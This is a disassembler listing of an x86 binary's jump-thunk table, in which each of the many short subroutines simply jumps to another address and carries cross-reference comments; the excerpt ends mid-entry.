; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401BD6 proc near ; CODE XREF: ___:00433419p
; ___:0043343Ap ...
jmp sub_431EF0
sub_401BD6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401BDB proc near ; CODE XREF: ___:00427092p
jmp sub_427C90
sub_401BDB endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401BE0 proc near ; CODE XREF: sub_41B4D0+3p
jmp sub_41B500
sub_401BE0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401BE5 proc near ; CODE XREF: sub_429510+3p
jmp sub_429540
sub_401BE5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401BEA proc near ; CODE XREF: sub_422B40+924p
; ___:0042416Ap
jmp sub_426BD0
sub_401BEA endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401BEF proc near ; CODE XREF: sub_42E5B0+18Dp
; sub_42E5B0+1CDp ...
jmp sub_42F2C0
sub_401BEF endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401BF4 proc near ; CODE XREF: ___:0041433Cp
jmp sub_414430
sub_401BF4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401BF9 proc near
jmp sub_40C440
sub_401BF9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401BFE proc near ; CODE XREF: sub_425100+8Bp
jmp sub_424920
sub_401BFE endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401C03 proc near ; CODE XREF: ___:0040B1FEp
; sub_40B250+34p ...
jmp sub_40BEB0
sub_401C03 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401C08 proc near ; CODE XREF: sub_40B190+5Cp
jmp sub_40BD50
sub_401C08 endp
; ---------------------------------------------------------------------------
jmp loc_433AB0
; ---------------------------------------------------------------------------
jmp loc_432410
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401C17 proc near ; CODE XREF: sub_431DC0+20p
; sub_431EF0+20p ...
jmp sub_431980
sub_401C17 endp
; ---------------------------------------------------------------------------
jmp loc_430020
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401C21 proc near
jmp sub_435AA0
sub_401C21 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401C26 proc near ; CODE XREF: sub_4138B0+84p
; sub_434D10+3Cp ...
jmp sub_434C30
sub_401C26 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401C2B proc near ; CODE XREF: ___:0042D7C8p
jmp sub_42C350
sub_401C2B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401C30 proc near ; CODE XREF: sub_42BB00+446p
jmp sub_42B8E0
sub_401C30 endp
; ---------------------------------------------------------------------------
jmp loc_41B720
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401C3A proc near ; CODE XREF: ___:00432546p
; sub_4344C0+23p
jmp sub_432DB0
sub_401C3A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401C3F proc near ; DATA XREF: ___:off_43F12Co
jmp sub_4292E0
sub_401C3F endp
; ---------------------------------------------------------------------------
jmp loc_41FD80
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401C49 proc near ; CODE XREF: sub_41B0E0+8p
; ___:0041B49Dp ...
jmp sub_41A110
sub_401C49 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401C4E proc near ; CODE XREF: sub_42B3F0+3p
jmp sub_42B420
sub_401C4E endp
; ---------------------------------------------------------------------------
jmp loc_41AE80
; ---------------------------------------------------------------------------
jmp loc_416A90
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401C5D proc near ; CODE XREF: sub_40BE70+1Fp
jmp sub_40BFA0
sub_401C5D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401C62 proc near ; CODE XREF: sub_415B00+9p
; sub_415C20+18p
jmp sub_4166D0
sub_401C62 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401C67 proc near ; CODE XREF: sub_418D50+4p
jmp sub_419070
sub_401C67 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401C6C proc near ; CODE XREF: sub_4073C0+11p
; ___:004073E7p ...
jmp sub_407570
sub_401C6C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401C71 proc near ; CODE XREF: sub_404CC0+111p
; sub_40D660+42p ...
jmp sub_40A2D0
sub_401C71 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401C76 proc near ; CODE XREF: ___:0041326Ap
; sub_4132F0+3Cp ...
jmp sub_4158D0
sub_401C76 endp
; ---------------------------------------------------------------------------
jmp loc_42FCB0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401C80 proc near ; CODE XREF: sub_4269A0+69p
jmp sub_426B10
sub_401C80 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401C85 proc near ; CODE XREF: sub_40B600+2Fp
; sub_40B600+6Ep ...
jmp sub_40BE40
sub_401C85 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401C8A proc near ; CODE XREF: ___:00430078p
; ___:0043008Dp ...
jmp sub_433FB0
sub_401C8A endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401C8F proc near ; CODE XREF: sub_415450+11p
; sub_415ED0+1Fp
jmp sub_4160C0
sub_401C8F endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401C94 proc near ; DATA XREF: ___:0043F0D4o
jmp sub_41D930
sub_401C94 endp
; ---------------------------------------------------------------------------
jmp loc_419A10
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401C9E proc near ; CODE XREF: sub_4073C0+9p
; sub_418E80+18p
jmp sub_407610
sub_401C9E endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401CA3 proc near ; CODE XREF: sub_4132C0+3p
; ___:00416C3Bp ...
jmp sub_4132F0
sub_401CA3 endp
; ---------------------------------------------------------------------------
jmp loc_40B8F0
; ---------------------------------------------------------------------------
loc_401CAD: ; DATA XREF: ___:off_43F05Co
jmp loc_416D90
; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_4. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401CB7 proc near ; CODE XREF: ___:00416F6Ap
jmp sub_4182B0
sub_401CB7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401CBC proc near ; CODE XREF: sub_415BA0+Cp
; sub_415BA0+43p
jmp sub_4166A0
sub_401CBC endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401CC1 proc near ; CODE XREF: sub_4096E0+45p
jmp sub_4099C0
sub_401CC1 endp
; ---------------------------------------------------------------------------
jmp loc_434430
; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_1. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401CD0 proc near ; CODE XREF: sub_410030+3A4p
jmp sub_40A0E0
sub_401CD0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401CD5 proc near ; CODE XREF: sub_4077E0+6BEp
; ___:00407F45p ...
jmp sub_407740
sub_401CD5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401CDA proc near ; CODE XREF: sub_415500+14p
; sub_415540+9p ...
jmp sub_416190
sub_401CDA endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401CDF proc near ; CODE XREF: sub_4096E0+144p
jmp sub_409A50
sub_401CDF endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401CE4 proc near ; CODE XREF: sub_404690+1C2p
; sub_404B60+36p ...
jmp sub_4134A0
sub_401CE4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401CE9 proc near ; CODE XREF: sub_4151C0+34p
; sub_415C20+67p
jmp sub_415DC0
sub_401CE9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401CEE proc near
jmp sub_409B80
sub_401CEE endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401CF3 proc near ; DATA XREF: ___:0043F06Co
jmp sub_41FD00
sub_401CF3 endp
; ---------------------------------------------------------------------------
jmp loc_42F3A0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401CFD proc near ; CODE XREF: sub_40BF70+5p
jmp sub_40C1D0
sub_401CFD endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401D02 proc near ; CODE XREF: ___:0043242Fp
jmp sub_430520
sub_401D02 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401D07 proc near ; CODE XREF: sub_421E50+11p
; ___:00421E77p ...
jmp sub_422400
sub_401D07 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401D0C proc near ; DATA XREF: ___:0043F048o
jmp sub_4132C0
sub_401D0C endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401D11 proc near ; CODE XREF: sub_415890+1Fp
jmp sub_416220
sub_401D11 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401D16 proc near ; CODE XREF: sub_40F6D0+1ACp
; sub_40F6D0+1EDp ...
jmp sub_40F660
sub_401D16 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401D1B proc near ; CODE XREF: sub_413E70+15Cp
jmp sub_414160
sub_401D1B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401D20 proc near ; CODE XREF: sub_404C70+23p
; sub_410030+13C2p
jmp sub_412BF0
sub_401D20 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401D25 proc near ; CODE XREF: ___:00416F2Fp
jmp sub_418150
sub_401D25 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401D2A proc near ; CODE XREF: sub_407590+7p
; sub_40C2E0+7p ...
jmp sub_407630
sub_401D2A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401D2F proc near ; CODE XREF: sub_40A8F0+1Ap
; sub_40A9A0+4p ...
jmp sub_40A960
sub_401D2F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401D34 proc near ; CODE XREF: sub_404690+289p
; sub_404690+2ADp ...
jmp sub_40A180
sub_401D34 endp
; ---------------------------------------------------------------------------
jmp loc_4305A0
; ---------------------------------------------------------------------------
loc_401D3E: ; DATA XREF: ___:0043F154o
jmp loc_4295B0
; ---------------------------------------------------------------------------
jmp loc_42F970
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401D48 proc near
jmp sub_404010
sub_401D48 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401D4D proc near ; CODE XREF: sub_4120B0+123p
; sub_4120B0+1E2p
jmp sub_412780
sub_401D4D endp
; ---------------------------------------------------------------------------
jmp loc_41B570
; ---------------------------------------------------------------------------
jmp loc_40B870
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401D5C proc near ; CODE XREF: sub_421D80+5p
jmp sub_4222E0
sub_401D5C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401D61 proc near ; CODE XREF: sub_415F70+5Fp
jmp sub_416790
sub_401D61 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401D66 proc near ; CODE XREF: sub_41D930+2C7p
jmp sub_42FD30
sub_401D66 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401D6B proc near ; CODE XREF: sub_418CA0+7p
jmp sub_418F40
sub_401D6B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401D70 proc near ; CODE XREF: sub_413740+5Dp
; sub_413740+9Bp ...
jmp sub_415420
sub_401D70 endp
; ---------------------------------------------------------------------------
jmp loc_437390
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401D7A proc near ; CODE XREF: sub_415820+14p
; sub_415860+9p ...
jmp sub_4164E0
sub_401D7A endp
; ---------------------------------------------------------------------------
jmp loc_40B960
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401D84 proc near ; CODE XREF: sub_4341C0+98p
jmp sub_431950
sub_401D84 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401D89 proc near ; CODE XREF: sub_421C60+14p
; sub_421CA0+9p ...
jmp sub_4222B0
sub_401D89 endp
; ---------------------------------------------------------------------------
jmp loc_42DAD0
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401D93 proc near
jmp sub_41C490
sub_401D93 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401D98 proc near ; CODE XREF: sub_418AB0+14p
; sub_418AF0+9p ...
jmp sub_418E20
sub_401D98 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401D9D proc near ; CODE XREF: sub_413740+53p
; sub_413740+91p ...
jmp sub_415270
sub_401D9D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401DA2 proc near ; CODE XREF: sub_422B40+56p
jmp sub_426B90
sub_401DA2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401DA7 proc near ; CODE XREF: sub_422B40+18Ap
jmp sub_426A90
sub_401DA7 endp
; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_6. PRESS KEYPAD "+" TO EXPAND]
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401DB1 proc near ; CODE XREF: sub_429330+81p
jmp sub_428DC0
sub_401DB1 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401DB6 proc near ; CODE XREF: sub_415770+11p
; sub_416220+1Fp
jmp sub_416410
sub_401DB6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401DBB proc near ; CODE XREF: sub_415230+14p
; sub_415270+9p ...
jmp sub_415E40
sub_401DBB endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401DC0 proc near ; CODE XREF: ___:004147E3p
jmp sub_4145A0
sub_401DC0 endp
; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_3. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
jmp loc_425DC0
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401DCF proc near ; CODE XREF: sub_428260+90p
jmp sub_428810
sub_401DCF endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401DD4 proc near ; CODE XREF: ___:0042C468p
jmp sub_42C1B0
sub_401DD4 endp
; ---------------------------------------------------------------------------
jmp loc_4141F0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401DDE proc near ; CODE XREF: sub_434AD0+74p
jmp sub_432AE0
sub_401DDE endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401DE3 proc near ; CODE XREF: sub_41FB90+1Dp
jmp sub_40B150
sub_401DE3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401DE8 proc near ; CODE XREF: sub_40AAD0+45p
jmp sub_40AD50
sub_401DE8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401DED proc near ; CODE XREF: ___:0043062Dp
; ___:00430752p ...
jmp sub_432C80
sub_401DED endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401DF2 proc near ; CODE XREF: ___:00426F24p
jmp sub_4281A0
sub_401DF2 endp
; ---------------------------------------------------------------------------
jmp loc_432D50
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401DFC proc near ; CODE XREF: sub_410030+AE7p
; sub_410030+E5Dp
jmp sub_41EF70
sub_401DFC endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401E01 proc near ; CODE XREF: sub_40AD80+Ap
jmp sub_40AE70
sub_401E01 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401E06 proc near ; CODE XREF: ___:00416B3Bp
; ___:0043B27Aj ...
jmp sub_417BE0
sub_401E06 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401E0B proc near ; CODE XREF: sub_421F80+4p
jmp sub_422420
sub_401E0B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401E10 proc near ; CODE XREF: sub_40C4E0+271p
; sub_425100+50p ...
jmp sub_423760
sub_401E10 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401E15 proc near ; CODE XREF: ___:0041627Ap
jmp sub_416860
sub_401E15 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401E1A proc near ; CODE XREF: sub_415DC0+7p
jmp sub_4165C0
sub_401E1A endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401E1F proc near ; CODE XREF: sub_41D930+19Bp
jmp sub_42DA80
sub_401E1F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401E24 proc near ; CODE XREF: sub_404CC0+835p
; sub_404CC0+B62p ...
jmp sub_4129D0
sub_401E24 endp
; ---------------------------------------------------------------------------
jmp sub_4132C0
; ---------------------------------------------------------------------------
jmp sub_429510
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401E33 proc near ; CODE XREF: sub_415490+34p
; sub_415F70+67p
jmp sub_416110
sub_401E33 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401E38 proc near ; CODE XREF: sub_413740+31p
; sub_4145A0+2Dp
jmp sub_4153B0
sub_401E38 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401E3D proc near ; CODE XREF: sub_40CC90+1F1p
; ___:00423FBFp ...
jmp sub_426930
sub_401E3D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401E42 proc near ; CODE XREF: sub_4159F0+3p
jmp sub_4164C0
sub_401E42 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401E47 proc near ; CODE XREF: sub_404690+97p
; sub_404690+107p ...
jmp sub_40A4A0
sub_401E47 endp
; [00000005 BYTES: COLLAPSED FUNCTION j_nullsub_5. PRESS KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
jmp loc_426020
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401E56 proc near ; CODE XREF: ___:00423DFAp
jmp sub_423950
sub_401E56 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401E5B proc near ; CODE XREF: ___:00421E0Ap
jmp sub_422310
sub_401E5B endp
; ---------------------------------------------------------------------------
jmp loc_416E30
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401E65 proc near
jmp sub_4368D0
sub_401E65 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401E6A proc near ; DATA XREF: ___:off_43F098o
jmp sub_4369E0
sub_401E6A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401E6F proc near ; CODE XREF: ___:004337FFp
jmp sub_4310A0
sub_401E6F endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401E74 proc near ; CODE XREF: sub_4166A0+5p
jmp sub_4168F0
sub_401E74 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401E79 proc near ; CODE XREF: sub_404CC0+28Dp
; sub_41D930+6A3p
jmp sub_40DC20
sub_401E79 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401E7E proc near ; CODE XREF: sub_422510+5Fp
jmp sub_422700
sub_401E7E endp
; ---------------------------------------------------------------------------
jmp loc_419F90
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401E88 proc near ; CODE XREF: sub_40F6D0+22p
; sub_411930+1Dp ...
jmp sub_40AEA0
sub_401E88 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401E8D proc near ; CODE XREF: sub_40AAD0+112p
; sub_40AAD0+153p
jmp sub_40ADB0
sub_401E8D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401E92 proc near ; DATA XREF: ___:off_43F0C0o
jmp sub_41B110
sub_401E92 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401E97 proc near ; CODE XREF: sub_4156D0+3p
jmp sub_416170
sub_401E97 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401E9C proc near ; CODE XREF: sub_427C50+1Ap
jmp sub_427B10
sub_401E9C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401EA1 proc near ; CODE XREF: ___:00416C0Bp
; ___:0043B1C4j ...
jmp sub_4176E0
sub_401EA1 endp
; ---------------------------------------------------------------------------
jmp loc_4331B0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401EAB proc near ; CODE XREF: sub_4201F0+3Ap
jmp sub_420400
sub_401EAB endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401EB0 proc near ; DATA XREF: ___:0043F114o
jmp sub_428260
sub_401EB0 endp
; ---------------------------------------------------------------------------
jmp loc_433AF0
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401EBA proc near ; CODE XREF: sub_416410+4p
jmp sub_416810
sub_401EBA endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401EBF proc near ; CODE XREF: sub_415920+5Bp
; sub_4162C0+11p ...
jmp sub_416510
sub_401EBF endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401EC4 proc near ; CODE XREF: sub_415740+5p
jmp sub_4161F0
sub_401EC4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401EC9 proc near ; CODE XREF: sub_424920+151p
jmp sub_4248E0
sub_401EC9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401ECE proc near ; CODE XREF: ___:00416BABp
; ___:0043B218j ...
jmp sub_417930
sub_401ECE endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401ED3 proc near ; CODE XREF: sub_4153B0+3p
jmp sub_415E20
sub_401ED3 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401ED8 proc near ; CODE XREF: sub_415100+11p
; sub_415140+13p ...
jmp sub_415D70
sub_401ED8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401EDD proc near ; CODE XREF: sub_421A60+14p
; sub_421AA0+9p ...
jmp sub_422050
sub_401EDD endp
; ---------------------------------------------------------------------------
jmp loc_418960
; ---------------------------------------------------------------------------
jmp loc_41C350
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401EEC proc near ; CODE XREF: sub_418F90+18p
; sub_421DB0+9p
jmp sub_419150
sub_401EEC endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401EF1 proc near ; CODE XREF: sub_422640+Ap
jmp sub_4227E0
sub_401EF1 endp
; ---------------------------------------------------------------------------
jmp loc_41BD50
; ---------------------------------------------------------------------------
jmp loc_433BA0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401F00 proc near ; CODE XREF: ___:00416B0Bp
; ___:0043B2A4j ...
jmp sub_417C20
sub_401F00 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401F05 proc near ; CODE XREF: sub_40A8F0+13p
jmp loc_40AA30
sub_401F05 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401F0A proc near ; CODE XREF: sub_41B160:loc_41B1ACp
; sub_41BA50+54p ...
jmp sub_4199A0
sub_401F0A endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401F0F proc near ; CODE XREF: ___:00414395p
jmp sub_415570
sub_401F0F endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401F14 proc near ; CODE XREF: sub_4157B0+34p
; sub_4162C0+67p
jmp sub_416460
sub_401F14 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401F19 proc near ; CODE XREF: sub_4153D0+3p
; ___:00415B4Fp ...
jmp sub_415E00
sub_401F19 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401F1E proc near
jmp sub_412CE0
sub_401F1E endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401F23 proc near ; CODE XREF: sub_4131F0+4Dp
jmp sub_415450
sub_401F23 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401F28 proc near ; CODE XREF: sub_407140+5Cp
; sub_418F60+3p
jmp sub_407360
sub_401F28 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401F2D proc near ; CODE XREF: ___:00419203p
jmp sub_419270
sub_401F2D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401F32 proc near ; CODE XREF: ___:0040BFFAp
jmp sub_40C330
sub_401F32 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401F37 proc near ; CODE XREF: ___:0042C44Fp
jmp sub_42C0A0
sub_401F37 endp
; ---------------------------------------------------------------------------
loc_401F3C: ; DATA XREF: ___:off_43F08Co
jmp loc_435B90
; ---------------------------------------------------------------------------
loc_401F41: ; DATA XREF: ___:00424194o
jmp loc_423D10
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401F46 proc near ; CODE XREF: ___:00416B6Bp
; ___:0043B250j ...
jmp sub_417B40
sub_401F46 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401F4B proc near ; CODE XREF: sub_413C40+99p
jmp sub_413E10
sub_401F4B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401F50 proc near ; CODE XREF: sub_40B470+3Dp
; ___:0040BC0Dp ...
jmp sub_40B7E0
sub_401F50 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401F55 proc near ; CODE XREF: ___:loc_423DA7p
jmp sub_423820
sub_401F55 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401F5A proc near ; CODE XREF: sub_404CC0+A38p
jmp sub_4068E0
sub_401F5A endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401F5F proc near ; DATA XREF: ___:off_43F1A0o
jmp sub_42C640
sub_401F5F endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401F64 proc near ; CODE XREF: sub_413A80+72p
jmp sub_413740
sub_401F64 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401F69 proc near ; CODE XREF: sub_418430+5Fp
; sub_418A40+1Ap ...
jmp sub_418AB0
sub_401F69 endp
; ---------------------------------------------------------------------------
jmp loc_430290
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401F73 proc near ; CODE XREF: sub_42F6F0+B5p
jmp sub_42E5B0
sub_401F73 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401F78 proc near ; CODE XREF: sub_40B600+4Bp
; sub_40B600:loc_40B68Bp ...
jmp sub_40BF20
sub_401F78 endp
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401F7D proc near
jmp sub_41E500
sub_401F7D endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401F82 proc near ; CODE XREF: sub_40A510+142p
jmp sub_40A8F0
sub_401F82 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401F87 proc near ; CODE XREF: sub_404690+35Dp
; sub_404690+39Ep
jmp sub_404B60
sub_401F87 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401F8C proc near ; CODE XREF: sub_415ED0+9p
; sub_415F70+18p
jmp sub_4167D0
sub_401F8C endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401F91 proc near ; CODE XREF: sub_432E20+1Bp
jmp sub_432ED0
sub_401F91 endp
; ---------------------------------------------------------------------------
jmp loc_42C2C0
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401F9B proc near ; CODE XREF: sub_427740+1Dp
; sub_427C90+1Dp ...
jmp sub_4277B0
sub_401F9B endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401FA0 proc near ; CODE XREF: sub_4290B0+1Dp
; sub_429450+1Fp ...
jmp sub_429120
sub_401FA0 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401FA5 proc near ; CODE XREF: ___:0042B063p
jmp sub_42B090
sub_401FA5 endp
; ---------------------------------------------------------------------------
jmp loc_406C20
; ---------------------------------------------------------------------------
jmp loc_40D540
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401FB4 proc near ; CODE XREF: sub_4096E0+112p
; sub_4096E0+153p
jmp sub_409A20
sub_401FB4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401FB9 proc near ; CODE XREF: sub_422700+5p
jmp sub_422870
sub_401FB9 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401FBE proc near ; CODE XREF: sub_407390+5p
jmp sub_407540
sub_401FBE endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401FC3 proc near ; CODE XREF: sub_413740+6Fp
; sub_413740+DBp ...
jmp sub_4153D0
sub_401FC3 endp
; ---------------------------------------------------------------------------
jmp loc_42CB20
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn thunk
sub_401FCD proc near ; CODE XREF: sub_4152E0+6Ap
; sub_415CE0+32p
jmp sub_415C20
sub_401FCD endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_401FD2 proc near
jmp sub_40F100
sub_401FD2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
